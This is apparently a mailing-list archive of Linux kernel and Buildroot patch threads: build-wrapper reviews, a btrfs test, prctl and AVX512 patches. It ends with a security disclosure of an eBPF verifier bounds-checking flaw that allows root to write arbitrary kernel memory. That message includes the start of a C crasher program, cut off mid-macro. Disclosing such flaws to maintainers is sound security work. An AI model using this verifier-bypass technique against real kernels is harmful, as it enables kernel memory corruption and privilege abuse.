> +++ b/t/t3203-branch-output.sh
> @@ -189,7 +189,7 @@ test_expect_success 'local-branch symrefs shortened properly' '
>         git symbolic-ref refs/heads/ref-to-remote refs/remotes/origin/branch-one &&
>         cat >expect <<-\EOF &&
>           ref-to-branch -> branch-one
> -         ref-to-remote -> refs/remotes/origin/branch-one
> +         ref-to-remote -> origin/branch-one
>         EOF
>         git branch >actual.raw &&
>         grep ref-to <actual.raw >actual &&
> diff --git a/t/t6040-tracking-info.sh b/t/t6040-tracking-info.sh
> index 3d5c238..97a0765 100755
> --- a/t/t6040-tracking-info.sh
> +++ b/t/t6040-tracking-info.sh
> @@ -44,7 +44,7 @@ b1 [ahead 1, behind 1] d
>  b2 [ahead 1, behind 1] d
>  b3 [behind 1] b
>  b4 [ahead 2] f
> -b5 g
> +b5 [gone] g
>  b6 c
>  EOF
>
> --
> 2.10.2
>

^ permalink raw reply

* [Buildroot] [PATCH 4/5] fs: call the pseudo wrapper
From: Arnout Vandecappelle @ 2016-11-09  0:28 UTC (permalink / raw)
  To: buildroot
In-Reply-To: <3cb16b41f768b4e7e92ad1a482ab91066e661376.1478643505.git.yann.morin.1998@free.fr>



On 08-11-16 23:18, Yann E. MORIN wrote:
> Signed-off-by: "Yann E. MORIN" <yann.morin.1998@free.fr>
> Cc: Ga?l PORTAY <gael.portay@savoirfairelinux.com>
> Cc: Patrick Keroulas <patrick.keroulas@savoirfairelinux.com>
> Cc: Erico Nunes <nunes.erico@gmail.com>
> Cc: Julien BOIBESSOT <julien.boibessot@free.fr>
> Cc: Arnout Vandecappelle <arnout@mind.be>

Reviewed-by: Arnout Vandecappelle (Essensium/Mind) <arnout@mind.be>

 Regards,
 Arnout

> ---
>  fs/common.mk | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/fs/common.mk b/fs/common.mk
> index 2dbef4d..22f3de5 100644
> --- a/fs/common.mk
> +++ b/fs/common.mk
> @@ -97,7 +97,7 @@ endif
>  		echo $$(s) $$(TARGET_DIR) $$(BR2_ROOTFS_POST_SCRIPT_ARGS) >> $$(FAKEROOT_SCRIPT)$$(sep))
>  	$$(call PRINTF,$$(ROOTFS_$(2)_CMD)) >> $$(FAKEROOT_SCRIPT)
>  	chmod a+x $$(FAKEROOT_SCRIPT)
> -	PATH=$$(BR_PATH) $$(HOST_DIR)/usr/bin/pseudo -- $$(FAKEROOT_SCRIPT)
> +	PATH=$$(BR_PATH) $$(HOST_DIR)/usr/bin/pseudo-wrapper -- $$(FAKEROOT_SCRIPT)
>  	$$(INSTALL) -m 0644 support/misc/target-dir-warning.txt $$(TARGET_DIR_WARNING_FILE)
>  	- at rm -f $$(FAKEROOT_SCRIPT) $$(FULL_DEVICE_TABLE)
>  ifneq ($$(ROOTFS_$(2)_COMPRESS_CMD),)
> 

-- 
Arnout Vandecappelle                          arnout at mind be
Senior Embedded Software Architect            +32-16-286500
Essensium/Mind                                http://www.mind.be
G.Geenslaan 9, 3001 Leuven, Belgium           BE 872 984 063 RPR Leuven
LinkedIn profile: http://www.linkedin.com/in/arnoutvandecappelle
GPG fingerprint:  7493 020B C7E3 8618 8DEC 222C 82EB F404 F9AC 0DDF

^ permalink raw reply

* [Buildroot] [PATCH 3/5] package/pseudo: wrap the real pseudo with a wrapper
From: Arnout Vandecappelle @ 2016-11-09  0:27 UTC (permalink / raw)
  To: buildroot
In-Reply-To: <17a63de5fc6ed262263e054776a1bac481701b42.1478643505.git.yann.morin.1998@free.fr>



On 08-11-16 23:18, Yann E. MORIN wrote:
> Running pseudo is more involved than running fakeroot. In the transition
> from using fakeroot, we just did not account for the extra requirements.
> 
> First, we explicitly tell pseudo where it is, otherwise it tries to
> guess. Its guess is correct, but it prints a warning, which is not nice.
> 
> Second, we tell it where to find the passwd and group files in case it
> has to emulate access to them. We currently do not use that feature, but
> better safe than sorry.
> 
> Third, pseudo spawns a background daemon, and talks to it (when fakeroot
> would emulate the state all in the current process' state, pseudo uses
> the daemon to coordinate the state across multiple processes). We are
> not much interested in the daemon lingering around, so we just tell it
> to terminate as soon as the last clients quits (this can take up to one
> second).
> 
> Fourth and last, pseudo always stores its internal database when
> exiting, and reloads it when spawned. The database is by default stored
> in a sub-directory of the prefix it was installed in, but this is
> impractical for us. We want the database to be specific to the one
> config dir we are building, so we store the database in a (hidden)
> sub-dir of the build dir, thus ensuring it is never shared with another
> build. That directory is hidden (starts with a dot) because we consider
> that to be our internal state that we do not want to expose to the user.
> 
> The wrapper has to be relocatable, so we avoid using hard-coded paths
> in there: we derive those paths fom the runtime path of pseudo. However,
                                  ^^^ Gah, I missed one :-P

> the build directory $(BUILD_DIR) is not available in the environment
> (we do not export it because it conflicts with some buildsystems).
> Instead, we use $(BASE_DIR) which is exported.
> 
> Finally, when relocated, the wrapper would not be used in the Buildroot
> environment, so may not have access to TARGET_DIR or BASE_DIR, unless
> the user sets them. If he does not, we still want the wrapper to be
> working (to avoid the warning about the prefix, and to exit the daemon
> asap); thus we leave the passwd and localstatedir variable alone if we
> don't have what it needs to set them, rather than set them to incorrect
> values.
> 
> Signed-off-by: "Yann E. MORIN" <yann.morin.1998@free.fr>
> Cc: Ga?l PORTAY <gael.portay@savoirfairelinux.com>
> Cc: Patrick Keroulas <patrick.keroulas@savoirfairelinux.com>
> Cc: Erico Nunes <nunes.erico@gmail.com>
> Cc: Julien BOIBESSOT <julien.boibessot@free.fr>
> Cc: Arnout Vandecappelle <arnout@mind.be>

Reviewed-by: Arnout Vandecappelle (Essensium/Mind) <arnout@mind.be>

 Regards,
 Arnout

> 
> ---
> Changes v1 -> v2:
>   - do not use a variable, but use a wrapper
> ---
>  package/pseudo/pseudo-wrapper | 12 ++++++++++++
>  package/pseudo/pseudo.mk      |  6 ++++++
>  2 files changed, 18 insertions(+)
>  create mode 100644 package/pseudo/pseudo-wrapper
> 
> diff --git a/package/pseudo/pseudo-wrapper b/package/pseudo/pseudo-wrapper
> new file mode 100644
> index 0000000..feaa7fc
> --- /dev/null
> +++ b/package/pseudo/pseudo-wrapper
> @@ -0,0 +1,12 @@
> +#!/bin/sh
> +
> +export PSEUDO_PREFIX="$(dirname "${0%/*}")"
> +export PSEUDO_OPTS="-t0"
> +if [ -n "${TARGET_DIR}" ]; then
> +    export PSEUDO_PASSWD="${TARGET_DIR}"
> +fi
> +if [ -n "${BASE_DIR}" ]; then
> +    export PSEUDO_LOCALSTATEDIR="${BASE_DIR}/build/.pseudodb"
> +fi
> +
> +exec "${0%-wrapper}" "${@}"
> diff --git a/package/pseudo/pseudo.mk b/package/pseudo/pseudo.mk
> index 4be5154..474eae2 100644
> --- a/package/pseudo/pseudo.mk
> +++ b/package/pseudo/pseudo.mk
> @@ -26,6 +26,12 @@ HOST_PSEUDO_CONF_OPTS = \
>  	--libdir=$(HOST_DIR)/usr/lib \
>  	--with-sqlite=$(HOST_DIR)/usr
>  
> +define HOST_PSEUDO_INSTALL_WRAPPER
> +	$(INSTALL) -D -m 0755 $(HOST_PSEUDO_PKGDIR)/pseudo-wrapper \
> +		$(HOST_DIR)/usr/bin/pseudo-wrapper
> +endef
> +HOST_PSEUDO_POST_INSTALL_HOOKS += HOST_PSEUDO_INSTALL_WRAPPER
> +
>  define HOST_PSEUDO_FAKEROOT_SYMLINK
>  	ln -sf pseudo $(HOST_DIR)/usr/bin/fakeroot
>  endef
> 

-- 
Arnout Vandecappelle                          arnout at mind be
Senior Embedded Software Architect            +32-16-286500
Essensium/Mind                                http://www.mind.be
G.Geenslaan 9, 3001 Leuven, Belgium           BE 872 984 063 RPR Leuven
LinkedIn profile: http://www.linkedin.com/in/arnoutvandecappelle
GPG fingerprint:  7493 020B C7E3 8618 8DEC 222C 82EB F404 F9AC 0DDF

^ permalink raw reply

* Re: [PATCH 0/2] Support compiling out the prctl syscall
From: Arnd Bergmann @ 2016-11-09  0:26 UTC (permalink / raw)
  To: Josh Triplett
  Cc: Andrew Morton, Kees Cook, Johannes Weiner, Ingo Molnar,
	Andy Lutomirski, Petr Mladek, Thomas Garnier, Ard Biesheuvel,
	Nicolas Pitre, Zefan Li, Li Bin, Eric W. Biederman, Dmitry Vyukov,
	Ralf Baechle, Alex Thorlton, Michal Hocko, Mateusz Guzik,
	Cyrill Gorcunov, John Stultz, Al Viro, Zach
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>

On Tuesday, November 8, 2016 4:17:47 PM CET Josh Triplett wrote:
> Some embedded systems can do without the prctl syscall, saving some space.
> 
> This also avoids regular increases in tinyconfig size as people add more
> non-optional functionality to prctl (observed via the 0-day kernel
> infrastructure).
> 
> The first patch moves prctl and all its helpers into a separate source file,
> kernel/prctl.c, to allow making it optional via the Makefile without any
> ifdefs.  The second patch adds the Kconfig option to make prctl optional.
> 
> Josh Triplett (2):
>   kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
>   kernel: Support compiling out the prctl syscall
> 

Both of these look really nice to me. Another syscall that comes to
mind as a candidate to be made optional is ptrace, and I've added
Nicolas Pitre to Cc here, as he has looked into this before.

Another area to look at may be syscalls that are always defined
but that are no longer part of the default syscall table in
include/uapi/asm-generic/unistd.h. Maybe we can have a single
conditional for those.

	Arnd

^ permalink raw reply

* [Buildroot] [PATCH 1/5] package/pseudo: enforce the host bitness
From: Arnout Vandecappelle @ 2016-11-09  0:25 UTC (permalink / raw)
  To: buildroot
In-Reply-To: <a2d0f2c0a262a2a40e8ccc1f3c0d89fdb834af39.1478643505.git.yann.morin.1998@free.fr>



On 08-11-16 23:18, Yann E. MORIN wrote:
> pseudo can detect the host bitness, but is not sure about it: it checks
> what type of file /bin/sh is, using file(1).
> 
> However, in some conditions, /bin/sh can be of a different bitness than
> the rest of the system (weird, but not impossible), which causes build
> issues.
> 
> Just enforce the bitness, so that pseudo needs not (wrongly) guess it.
> 
> Signed-off-by: "Yann E. MORIN" <yann.morin.1998@free.fr>
> Cc: Ga?l PORTAY <gael.portay@savoirfairelinux.com>
> Cc: Patrick Keroulas <patrick.keroulas@savoirfairelinux.com>
> Cc: Erico Nunes <nunes.erico@gmail.com>
> Cc: Julien BOIBESSOT <julien.boibessot@free.fr>
> Cc: Arnout Vandecappelle <arnout@mind.be>

Reviewed-by: Arnout Vandecappelle (Essensium/Mind) <arnout@mind.be>

 Regards,
 Arnout

> 
> ---
> Changes v1 -> v2:
>   - directly extract bitness for $(HOSTARCH)  (Arnout)
> ---
>  package/pseudo/pseudo.mk | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/package/pseudo/pseudo.mk b/package/pseudo/pseudo.mk
> index 67538a6..92de2c6 100644
> --- a/package/pseudo/pseudo.mk
> +++ b/package/pseudo/pseudo.mk
> @@ -17,6 +17,7 @@ HOST_PSEUDO_DEPENDENCIES = host-attr host-sqlite
>  # configure script is not generated by autoconf, so passing --libdir
>  # is necessary, even if the infrastructure passes --prefix already.
>  HOST_PSEUDO_CONF_OPTS = \
> +	--bits=$(if $(filter %64,$(HOSTARCH)),64,32) \
>  	--libdir=$(HOST_DIR)/usr/lib \
>  	--with-sqlite=$(HOST_DIR)/usr
>  
> 

-- 
Arnout Vandecappelle                          arnout at mind be
Senior Embedded Software Architect            +32-16-286500
Essensium/Mind                                http://www.mind.be
G.Geenslaan 9, 3001 Leuven, Belgium           BE 872 984 063 RPR Leuven
LinkedIn profile: http://www.linkedin.com/in/arnoutvandecappelle
GPG fingerprint:  7493 020B C7E3 8618 8DEC 222C 82EB F404 F9AC 0DDF

^ permalink raw reply

* Re: [PATCH] fstests: btrfs: Check false ENOSPC bug caused by incorrect metadata reserve
From: Qu Wenruo @ 2016-11-09  0:24 UTC (permalink / raw)
  To: Eryu Guan; +Cc: linux-btrfs, fstests
In-Reply-To: <20161108105826.GN27776@eguan.usersys.redhat.com>



At 11/08/2016 06:58 PM, Eryu Guan wrote:
> On Tue, Nov 08, 2016 at 05:15:15PM +0800, Qu Wenruo wrote:
>> Due to the fact that btrfs uses different max extent size for
>> compressed and non-compressed write, it calculates metadata reservation
>> incorrectly.
>>
>> This can leads to false ENOSPC alert for compressed write.
>>
>> This test case will check it by using small fs and large nodesize, and
>> do parallel compressed write to trigger it.
>>
>> The fix is not merged and may change in the future, but the function is
>> good enough:
>> btrfs: improve inode's outstanding_extents computation
>> btrfs: fix false enospc for compression
>>
>> Signed-off-by: Qu Wenruo <quwenruo@cn.fujitsu.com>
>> ---
>>  tests/btrfs/132     | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++++
>>  tests/btrfs/132.out |  2 ++
>>  tests/btrfs/group   |  1 +
>>  3 files changed, 92 insertions(+)
>>  create mode 100755 tests/btrfs/132
>>  create mode 100644 tests/btrfs/132.out
>>
>> diff --git a/tests/btrfs/132 b/tests/btrfs/132
>> new file mode 100755
>> index 0000000..95c21ea
>> --- /dev/null
>> +++ b/tests/btrfs/132
>> @@ -0,0 +1,89 @@
>> +#! /bin/bash
>> +# FS QA Test 132
>> +#
>> +# Check if false ENOSPC will happen when parallel buffer write happens
>> +# The problem is caused by incorrect metadata reservation.
>> +#
>> +#-----------------------------------------------------------------------
>> +# Copyright (c) 2016 Fujitsu.  All Rights Reserved.
>> +#
>> +# This program is free software; you can redistribute it and/or
>> +# modify it under the terms of the GNU General Public License as
>> +# published by the Free Software Foundation.
>> +#
>> +# This program is distributed in the hope that it would be useful,
>> +# but WITHOUT ANY WARRANTY; without even the implied warranty of
>> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
>> +# GNU General Public License for more details.
>> +#
>> +# You should have received a copy of the GNU General Public License
>> +# along with this program; if not, write the Free Software Foundation,
>> +# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
>> +#-----------------------------------------------------------------------
>> +#
>> +
>> +seq=`basename $0`
>> +seqres=$RESULT_DIR/$seq
>> +echo "QA output created by $seq"
>> +
>> +here=`pwd`
>> +tmp=/tmp/$$
>> +status=1	# failure is the default!
>> +trap "_cleanup; exit \$status" 0 1 2 3 15
>> +
>> +_cleanup()
>> +{
>> +	cd /
>> +	rm -f $tmp.*
>> +}
>> +
>> +# get standard environment, filters and checks
>> +. ./common/rc
>> +. ./common/filter
>> +
>> +# remove previous $seqres.full before test
>> +rm -f $seqres.full
>> +
>> +# real QA test starts here
>> +
>> +# Modify as appropriate.
>> +_supported_fs btrfs
>> +_supported_os Linux
>> +_require_scratch
>> +
>> +# Use small filesystem with maximum nodesize.
>> +# Since the false ENOSPC happens due to incorrect metadata reservation,
>> +# larger nodesize and small fs will make it much easier to reproduce
>> +_scratch_mkfs -b 512M -n 64k >> $seqres.full 2>&1
>
> How about override MKFS_OPTIONS and call _scratch_mkfs_sized? e.g.
>
> export MKFS_OPTIONS="-n 64k"
> _scratch_mkfs_sized $((512 * 1024 * 1024))

Overriding MKFS_OPTIONS makes us unable to parse more mkfs options, for 
example to test some incompatible features.

So I'd just parse this mkfs options as extra options.
>
>> +_scratch_mount "-o compress"
>> +
>> +sleep_time=$(($TIME_FACTOR * 15))
>> +loop_writer()
>> +{
>> +	offset=$1
>> +	len=$2
>> +	file=$3
>> +
>> +	while true;
>> +	do
>> +		# Only need stderr, and we need to specify small block size
>> +		# but still trigger compression
>> +		xfs_io -c "pwrite -b 8K $offset $len" $file 2>&1 > /dev/null
>
> Use $XFS_IO_PROG here.

Oh, I forgot it again...
>
>> +	done
>> +}
>> +
>> +touch $SCRATCH_MNT/testfile
>> +
>> +# Start 2 writter writting into the same file
>> +# The file is 142M, which is smaller than 1/2 of the filesystem,
>> +# so no other cause can lead to ENOSPC.
>> +loop_writer 0 128M $SCRATCH_MNT/testfile &
>> +loop_writer 128M 16M $SCRATCH_MNT/testfile &
>> +
>> +sleep $sleep_time
>> +
>> +kill 0
>> +sleep

Oh, I thought I typed "wait" not "sleep".

>
> This is not working for me, even I removed the suspicious "sleep", seems
> "132" itself was killed too.
>
> I'd save pids of background jobs and kill the pids and call wait to make
> sure all child processes exit running. e.g.
>
> loop_writer ... &
> pids=$!
> loop_writer ... &
> pids="$pids $!"
>
> sleep $sleep_time
> kill $pids
> wait
>
> And you're missing 'echo "Silence is golden"' in the test.

I'll update them soon.

Thanks,
Qu
>
> Thanks,
> Eryu
>
>> +
>> +status=0
>> +exit
>> diff --git a/tests/btrfs/132.out b/tests/btrfs/132.out
>> new file mode 100644
>> index 0000000..b096312
>> --- /dev/null
>> +++ b/tests/btrfs/132.out
>> @@ -0,0 +1,2 @@
>> +QA output created by 132
>> +Silence is golden
>> diff --git a/tests/btrfs/group b/tests/btrfs/group
>> index c090604..ec8ad80 100644
>> --- a/tests/btrfs/group
>> +++ b/tests/btrfs/group
>> @@ -134,3 +134,4 @@
>>  129 auto quick send
>>  130 auto clone send
>>  131 auto quick
>> +132 auto compress
>> --
>> 2.7.4
>>
>>
>>
>> --
>> To unsubscribe from this list: send the line "unsubscribe fstests" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>



^ permalink raw reply

* Re: Input: melfas_mip4 - add product ID reporting
From: Dmitry Torokhov @ 2016-11-09  0:24 UTC (permalink / raw)
  To: Sangwon Jee; +Cc: linux-input
In-Reply-To: <1477990392-7606-1-git-send-email-jeesw@melfas.com>

On Tue, Nov 01, 2016 at 05:53:12PM +0900, Sangwon Jee wrote:
> Add reporting product ID through input_id.
> 
> Signed-off-by: Sangwon Jee <jeesw@melfas.com>

Applied, thank you.

> ---
>  drivers/input/touchscreen/melfas_mip4.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/drivers/input/touchscreen/melfas_mip4.c b/drivers/input/touchscreen/melfas_mip4.c
> index 0f2230a..f160390 100644
> --- a/drivers/input/touchscreen/melfas_mip4.c
> +++ b/drivers/input/touchscreen/melfas_mip4.c
> @@ -1477,6 +1477,7 @@ static int mip4_probe(struct i2c_client *client, const struct i2c_device_id *id)
>  
>  	input->id.bustype = BUS_I2C;
>  	input->id.vendor = 0x13c5;
> +	input->id.product = ts->product_id;
>  
>  	input->open = mip4_input_open;
>  	input->close = mip4_input_close;
> @@ -1614,6 +1615,6 @@ static struct i2c_driver mip4_driver = {
>  module_i2c_driver(mip4_driver);
>  
>  MODULE_DESCRIPTION("MELFAS MIP4 Touchscreen");
> -MODULE_VERSION("2016.10.24");
> +MODULE_VERSION("2016.10.31");
>  MODULE_AUTHOR("Sangwon Jee <jeesw@melfas.com>");
>  MODULE_LICENSE("GPL");
> -- 
> 1.9.1
> 

-- 
Dmitry

^ permalink raw reply

* Re: [PATCH] testsuite: fix test_array_sort pointers inderection
From: Lucas De Marchi @ 2016-11-09  0:24 UTC (permalink / raw)
  To: Yauheni Kaliuta; +Cc: linux-modules, Lucas De Marchi, Jessica Yu
In-Reply-To: <1478638646-5933-1-git-send-email-yauheni.kaliuta@redhat.com>

On Tue, Nov 8, 2016 at 6:57 PM, Yauheni Kaliuta
<yauheni.kaliuta@redhat.com> wrote:
> The array elements in the tests are strings, what means "char *"
> in =D0=A1. The comparation funtion takes pointers to the elements, so
> the arguments become "char **". It means, that strcmp() cannot be
> used directrly.
>
> The patch creates a wrapper on strcmp() which perfoms
> dereferencing of the "char **" to supply the actual strings to
> strcmp(), and uses the wrapper as a comparation function for the
> qsort() call.
>
> Signed-off-by: Yauheni Kaliuta <yauheni.kaliuta@redhat.com>
> ---

Applied, thanks.


Lucas De Marchi

^ permalink raw reply

* linux-next: build failure after merge of the drm-misc tree
From: Stephen Rothwell @ 2016-11-09  0:14 UTC (permalink / raw)
  To: Daniel Vetter, Intel Graphics, DRI; +Cc: linux-next, linux-kernel, Chris Wilson

Hi all,

After merging the drm-misc tree, today's linux-next build (x86_64
allmodconfig) failed like this:

ERROR: "depot_save_stack" [drivers/gpu/drm/drm.ko] undefined!
ERROR: "depot_fetch_stack" [drivers/gpu/drm/drm.ko] undefined!

Caused by commit

  5705670d0463 ("drm: Track drm_mm allocators and show leaks on shutdown")

I hate used the drm-misc tree from next-20161108 for today.

-- 
Cheers,
Stephen Rothwell

^ permalink raw reply

* [PATCH] x86/cpufeatures: Enable new AVX512 cpu features
From: Gayatri Kammela @ 2016-11-09  0:08 UTC (permalink / raw)
  To: mingo
  Cc: linux-kernel, x86, Gayatri Kammela, H . Peter Anvin, Ravi Shankar,
	Fenghua Yu

Modify cpufeatures.h to add new AVX512 instruction groups/features
for enuermation in /proc/cpuinfo: AVX512IFMA and AVX512VBMI

Also modify the xstate.c to clear the flags in
fpu__xstate_clear_all_cpu_caps().

CPUID.(EAX=7,ECX=0):EBX[bit 21] AVX512IFMA
CPUID.(Eax=7,ECX=0):ECX[bit 1]  AVX512VBMI

Detailed information of cpuid bits for the features can be found in
Intel Architecture Instruction Set Extensions Programming Reference.

Cc: H. Peter Anvin <hpa@linux.intel.com>
Cc: Ravi Shankar <ravi.v.shankar@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Signed-off-by: Gayatri Kammela <gayatri.kammela@intel.com>
---
 arch/x86/include/asm/cpufeatures.h | 2 ++
 arch/x86/kernel/fpu/xstate.c       | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/arch/x86/include/asm/cpufeatures.h b/arch/x86/include/asm/cpufeatures.h
index 4a413485f9eb..c722fcc18a15 100644
--- a/arch/x86/include/asm/cpufeatures.h
+++ b/arch/x86/include/asm/cpufeatures.h
@@ -225,6 +225,7 @@
 #define X86_FEATURE_RDSEED	( 9*32+18) /* The RDSEED instruction */
 #define X86_FEATURE_ADX		( 9*32+19) /* The ADCX and ADOX instructions */
 #define X86_FEATURE_SMAP	( 9*32+20) /* Supervisor Mode Access Prevention */
+#define X86_FEATURE_AVX512IFMA  ( 9*32+21) /* AVX-512 Integer Fused Multiply-Add instructions */
 #define X86_FEATURE_PCOMMIT	( 9*32+22) /* PCOMMIT instruction */
 #define X86_FEATURE_CLFLUSHOPT	( 9*32+23) /* CLFLUSHOPT instruction */
 #define X86_FEATURE_CLWB	( 9*32+24) /* CLWB instruction */
@@ -279,6 +280,7 @@
 #define X86_FEATURE_AVIC	(15*32+13) /* Virtual Interrupt Controller */
 
 /* Intel-defined CPU features, CPUID level 0x00000007:0 (ecx), word 16 */
+#define X86_FEATURE_AVX512VBMI  (16*32+ 1) /* AVX512 Vector Bit Manipulation instructions*/
 #define X86_FEATURE_PKU		(16*32+ 3) /* Protection Keys for Userspace */
 #define X86_FEATURE_OSPKE	(16*32+ 4) /* OS Protection Keys Enable */
 
diff --git a/arch/x86/kernel/fpu/xstate.c b/arch/x86/kernel/fpu/xstate.c
index 4ea2a59483c7..92411568e320 100644
--- a/arch/x86/kernel/fpu/xstate.c
+++ b/arch/x86/kernel/fpu/xstate.c
@@ -56,6 +56,7 @@ void fpu__xstate_clear_all_cpu_caps(void)
 	setup_clear_cpu_cap(X86_FEATURE_AVX);
 	setup_clear_cpu_cap(X86_FEATURE_AVX2);
 	setup_clear_cpu_cap(X86_FEATURE_AVX512F);
+	setup_clear_cpu_cap(X86_FEATURE_AVX512IFMA);
 	setup_clear_cpu_cap(X86_FEATURE_AVX512PF);
 	setup_clear_cpu_cap(X86_FEATURE_AVX512ER);
 	setup_clear_cpu_cap(X86_FEATURE_AVX512CD);
@@ -64,6 +65,7 @@ void fpu__xstate_clear_all_cpu_caps(void)
 	setup_clear_cpu_cap(X86_FEATURE_AVX512VL);
 	setup_clear_cpu_cap(X86_FEATURE_MPX);
 	setup_clear_cpu_cap(X86_FEATURE_XGETBV1);
+	setup_clear_cpu_cap(X86_FEATURE_AVX512VBMI);
 	setup_clear_cpu_cap(X86_FEATURE_PKU);
 }
 
-- 
2.7.4

^ permalink raw reply related

* 484611357c19 introduces arbitrary kernel write bug (root-only)
From: Jann Horn @ 2016-11-09  0:23 UTC (permalink / raw)
  To: Daniel Borkmann, Alexei Starovoitov, David S. Miller, Josef Bacik
  Cc: security, netdev

In 484611357c19 (not in any stable kernel yet), functionality is
introduced that allows root (and afaics nobody else, since nobody else
is allowed to perform pointer arithmetic) to basically write to (and
read from) arbitrary kernel memory. There are multiple bugs in the
validation logic:

 - A bitwise AND of values in the ranges [a,b] and [c,d] is assumed to
always result in a value
   >= a&b. However, for the combination of ranges [1,1] and [1,2],
this calculates a minimum of 1
   while actually, 1&2 is zero. This is the bug that my crasher
(below) triggers.
 - a%b is assumed to always be smaller than b-1. However, for b==0,
this will calculate an upper
   limit of -1 while the values will actually always be zero.
 - I'm not sure about this, but I think that, when only one end of the
range is bounded, the logic will
   incorrectly also treat the other end as a bounded, and because of
the usage of bound
   placeholders that are smaller than the actual maximum values, this
could be used to perform
   out-of-bounds accesses.

The fun part here is that, as soon as the validation is just
off-by-one, arithmetic transformations can be used to turn that into
out-of-bounds accesses at arbitrary offsets. The crasher turns the
off-by-one into a memory write at offset 0x10000000.

Here's the crasher program:
=====================
#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>

/* start from kernel */
#define BPF_EMIT_CALL(FUNC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_CALL,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_PSEUDO_MAP_FD   1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0, /* zero is reserved opcode */   \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_X,      \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_REG_FP  BPF_REG_10
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
